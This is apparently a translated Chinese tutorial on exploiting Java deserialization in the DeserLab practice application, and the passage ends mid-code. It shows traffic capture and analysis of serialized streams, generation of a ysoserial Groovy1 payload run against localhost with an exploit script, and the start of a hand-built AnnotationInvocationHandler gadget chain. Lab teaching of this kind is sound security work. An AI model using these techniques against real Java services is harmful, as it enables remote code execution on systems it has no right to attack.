本文讲的是Java反序列化漏洞利用的学习与实践,
利用DeserLab
建议你在阅读本文之前,先阅读《攻击Java反序列化过程》,这样你就会对java反序列化有一个比较清晰的认识。除此之外,这篇文章还提到了一个“DeserLab”的演示应用。为了有效利用反序列化漏洞,理解序列化的原理以及反序列化漏洞利用的工作原理(如面向属性的编程原理),研究人员就要找到一个可供模拟的实验环境,而“DeserLab”就是一个这样的环境。
要想利用一个漏洞,通常的方法首先是先了解目标在正常的情况下是如何运行的。对于“DeserLab”实验环境来说,需要做以下3方面的准备:
1.运行服务器和客户机;
2.捕获流量;
3.了解流量。
你可以使用以下命令,运行服务器和客户端:
java -jar DeserLab.jar -server 127.0.0.1 6666
java -jar DeserLab.jar -client 127.0.0.1 6666
上述命令的输入及输出如下:
java -jar DeserLab.jar -server 127.0.0.1 6666
[+] DeserServer started, listening on 127.0.0.1:6666
[+] Connection accepted from 127.0.0.1:50410
[+] Sending hello...
[+] Hello sent, waiting for hello from client...
[+] Hello received from client...
[+] Sending protocol version...
[+] Version sent, waiting for version from client...
[+] Client version is compatible, reading client name...
[+] Client name received: testing
[+] Hash request received, hashing: test
[+] Hash generated: 098f6bcd4621d373cade4e832627b4f6
[+] Done, terminating connection.
java -jar DeserLab.jar -client 127.0.0.1 6666
[+] DeserClient started, connecting to 127.0.0.1:6666
[+] Connected, reading server hello packet...
[+] Hello received, sending hello to server...
[+] Hello sent, reading server protocol version...
[+] Sending supported protocol version to the server...
[+] Enter a client name to send to the server:
testing
[+] Enter a string to hash:
test
[+] Generating hash of "test"...
[+] Hash generated: 098f6bcd4621d373cade4e832627b4f6
但我的主要问题是,如何实现反序列化?为了回答这个问题,你可以用wireshark,tcpdump或者tshark来捕获6666号端口的流量。要捕获带有tcpdump的流量,你可以执行以下命令:
tcpdump -i lo -n -w deserlab.pcap 'port 6666'
不过要注意的是,请确保你使用wireshark浏览过pcap文件。这样,你就应该能够手动地处理一些进程了,至少能确认序列化的Java对象正在来回传递:
序列化数据的提取
现在让我开始了解实际传输的内容,要提前说明的是,我使用的是SerializationDumper的工具,利用这个工具,我可以识别反序列化漏洞利用的入口点。这个工具可以解析Java序列化流,将序列化流以可视化的形式导出。在使用该工具之前,我需要提前准备一些数据,所以让我先把pcap转换成可以分析的数据。
tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=, | grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr 'n' ':' | sed s/://g
将其分解为可以分析的小块,以便将pcap数据转换成一个十六进制编码的输出字符串。分解所做的第一件事是将pcap转换成只包含传输的数据和tcp源端口号的文本:
tshark -r deserlab.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=,
它看起来像这样:
50432,,6666
6666,,50432
50432,,6666
50432,aced0005,6666
6666,,50432
6666,aced0005,50432
就像你在TCP三次握手(Three-way
Handshake)过程中可以看到的那样,没有数据,因此是“,,”部分。在此之后,客户端发送第一个字节,该字节由服务器发送,然后服务器再发送一些字节,以此类推。命令的第二部分将此转换为一个字符串,该字符串仅根据队列开头的端口选择的载荷进行选择:
| grep -v ',,' | grep '^6666,' | cut -d',' -f2 | tr 'n' ':' | sed s/://g
译者注:三次握手的目的是连接服务器指定端口,建立TCP连接,并同步连接双方的序列号和确认号并交换TCP窗口大小信息。
上面只选择了服务器的响应,如果你想要客户端数据,你就需要更改端口号。最终的结果是这样的:
aced00057704f000baaa77020101737200146e622e64657365722e486[...]
我会选择两个工具来分析这些数据,首先使用的是SerializationDumper,其次使用jdeserialize。如果你想知道为什么要使用两种工具进行分析?我可以告诉你,通过实践潜在的漏洞很容易被发现。
序列化数据的分析
使用SerializationDumper,你可以将序列化数据的十六进制表示作为第一个参数来传递:
java -jar SerializationDumper-v1.0.jar aced00057704f000baaa77020101
这将导致如下输出:
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_BLOCKDATA - 0x77
Length - 4 - 0x04
Contents - 0xf000baaa
TC_BLOCKDATA - 0x77
Length - 2 - 0x02
Contents - 0x0101
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 20 - 0x00 14
Value - nb.deser.HashRequest - 0x6e622e64657365722e4861736852657175657374
如果我想要用jdeserialize分析相同的序列化数据,就必须首先构建jdeserialize,你可以使用anthttp://ant.apache.org/为它构建xml文件。我选择了手动编译,你可以通过以下命令实现:
mkdir build
javac -d ./build/ src/*
cd build
jar cvf jdeserialize.jar *
译者注:经过序列化的数据可以存储为文本格式的数据,如JSON或者XML,也可以存储为二进制格式的数据。
这样就产生一个我可以使用的jar文件:
java -cp jdeserialize.jar org.unsynchronized.jdeserialize
考虑到jdeserialize,我可以将序列化数据的十六进制表示转换成python:
open('rawser.bin','wb').write('aced00057704f000baaa77020146636'.decode('hex'))
现在,我可以通过将jdeserialize文件作为第一个应该产生的参数来分析这个文件。
java -cp jdeserialize.jar org.unsynchronized.jdeserialize rawser.bin
read: [blockdata 0x00: 4 bytes]
read: [blockdata 0x00: 2 bytes]
read: nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
BEGIN stream content output
[blockdata 0x00: 4 bytes]
[blockdata 0x00: 2 bytes]
nb.deser.HashRequest _h0x7e0002 = r_0x7e0000;
END stream content output
BEGIN class declarations (excluding array classes)
class nb.deser.HashRequest implements java.io.Serializable {
java.lang.String dataToHash;
java.lang.String theHash;
}
END class declarations
BEGIN instance dump
[instance 0x7e0002: 0x7e0000/nb.deser.HashRequest
field data:
0x7e0000/nb.deser.HashRequest:
dataToHash: r0x7e0003: [String 0x7e0003: "test"]
theHash: r0x7e0004: [String 0x7e0004: "098f6bcd4621d373cade4e832627b4f6"]
]
END instance dump
我从两个序列化数据分析工具的输出中了解到的两件事,第一件事是,它是序列化数据。第二件事是,一个对象的nb .
deser。HashRequest在客户端和服务器之间传输,如果我还将此分析与之前的wireshark检查结合起来,我还能了解到用户名是在TC_BLOCKDATA类型中作为字符串发送的:
TC_BLOCKDATA - 0x77
Length - 9 - 0x09
Contents - 0x000774657374696e67
'000774657374696e67'.decode('hex')
'x00x07testing'
这让我很好地了解了“DeserLab”实验室客户端和”DeserLab”实验室服务器之间的通信方式,现在来看看如何利用Ysoserial工具,ysoserial生成的载荷即可让readObject()实现任意命令执行。
开发DeserLab
至此,我对pcap分析以及对序列化数据的分析有了清晰的了解,这样,我就可以构建我自己的python脚本,其中包含一些硬编码的数据,我将在其中嵌入
ysoserial
载荷。为了让它保持精简,并让它与wireshark序列化流匹配,我决定让它完全类似于wireshark序列化流,它看起来像这样:
mydeser = deser(myargs.targetip, myargs.targetport)
mydeser.connect()
mydeser.
mydeser.protohello()
mydeser.protoversion()
mydeser.clientname()
mydeser.exploit(myargs.payloadfile)
你可以在这里找到完整的脚本,可以看到,最简单的方法就是把硬编码过的所有也出现了,不过我要告诉你的是,这些都不重要,重要的是,你应该知道我是如何实际生成和发送
ysoserial 载荷的。
为此,在我阅读了几篇文章(本文后面的附注)之后,发现了大多数vulns都与Java对象的反序列化有关。
因此,当我回顾信息交换时,发现可以在一个地方交换Java对象。在序列化分析的输出中可以很容易地发现这一点,因为它或者包含“TC_OBJECT
– 0x73”或者:
BEGIN stream content output
[blockdata 0x00: 4 bytes]
[blockdata 0x00: 2 bytes]
[blockdata 0x00: 9 bytes]
nb.deser.HashRequest _h0x7e0002 = r_0x7e0000; END stream content output
我可以清楚地看到,序列化流内容的最后一部分是“nb.deser.HashRequest”对象。这个对象被读取的地方也是交换的最后一部分,因此这也解释了为什么代码将利用函数作为代码的最后一部分。现在我知道了我的可利用载荷应处于什么位置,以及我如何选择,生成和发送有效载荷。
“DeserLab”实验室的代码本身并没有任何有用的东西,我可以通过修改序列化的漏洞来进一步开发。
因此,这意味着我必须寻找可能包含可以帮助我的代码的额外的库。在”DeserLab”实验室中只有一个库是Groovy,因此对于我应该使用的ysoserial
有效载荷。不过要注意的是,对于现实世界的应用程序,你可能需要自己将未知的库进行分解,并寻找有用的gadget,因为许多情况下,我们需要串联多个POP利用点才能形成完整的利用程序。POP利用点指的是一个代码片段,我可以修改某些对象的属性来影响这个代码片段,使其满足我的特定需求。
由于我知道将用于开发的库,所以有效载荷的生成非常简单:
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
需要注意的是,有效载荷传递是盲目的,所以如果你想知道它是否有效,你通常需要一些方法来检测它。
现在我必须删除有效载荷的前四个字节,才能并将其发送出去:
./deserlab_exploit.py 127.0.0.1 6666 payload_ping_localhost.bin 2017-09-07 22:58:05,401 - INFO - Connecting
2017-09-07 22:58:05,401 - INFO - java serialization handshake
2017-09-07 22:58:05,403 - INFO - protocol specific handshake
2017-09-07 22:58:05,492 - INFO - protocol specific version handshake
2017-09-07 22:58:05,571 - INFO - sending name of connected client
2017-09-07 22:58:05,571 - INFO - exploiting
如果一切都顺利,你应该看到以下内容:
sudo tcpdump -i lo icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
22:58:06.215178 IP localhost > localhost: ICMP echo request, id 31636, seq 1, length 64
22:58:06.215187 IP localhost > localhost: ICMP echo reply, id 31636, seq 1, length 64
22:58:07.215374 IP localhost > localhost: ICMP echo request, id 31636, seq 2, length 64
这就是我成功开发的“DeserLab”实验室。
手动构建有效载荷
了解我的有效载荷的最佳方法是我自己重新构建相同的载荷,这就意味着要编写Java。但问题是我从哪里开始?我可以看一下序列化有效载荷,就像我看pcap时一样。下面的一行代码将有效载荷转换为hex字符串,我可以使用SerializationDumper分析它,或者你可以使用jdeserialize分析。
open('payload.bin','rb').read().encode('hex
有一个重要的概念,你需要注意,那就是当你执行反序列化攻击时,你发送的是一个对象的“保存”状态。这意味着你完全依赖接收方的行为,具体地说,就是取决于你在“保存”状态被反序列化时所采取的操作。这意味着,如果对方不调用你发送的对象的任何方法,则不会执行远程代码执行,这意味着你所受到的惟一影响是你发送的对象属性设置。
现在这个概念很清楚,这意味着我发送的第一个类应该有一个自动的方法,如果我想要实现代码的执行,第一个类就很重要。如果我看看AnnotationInvocationHandler的代码,就可以看到构造函数接受一个
java.util.map对象和readObject调用map对象上的方法。当一个序列化流被反序列化时,readObject会被自动调用。以下就是我构建的代码:
//this is the first class that will be deserialized
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
//access the constructor of the AnnotationInvocationHandler class
final Constructor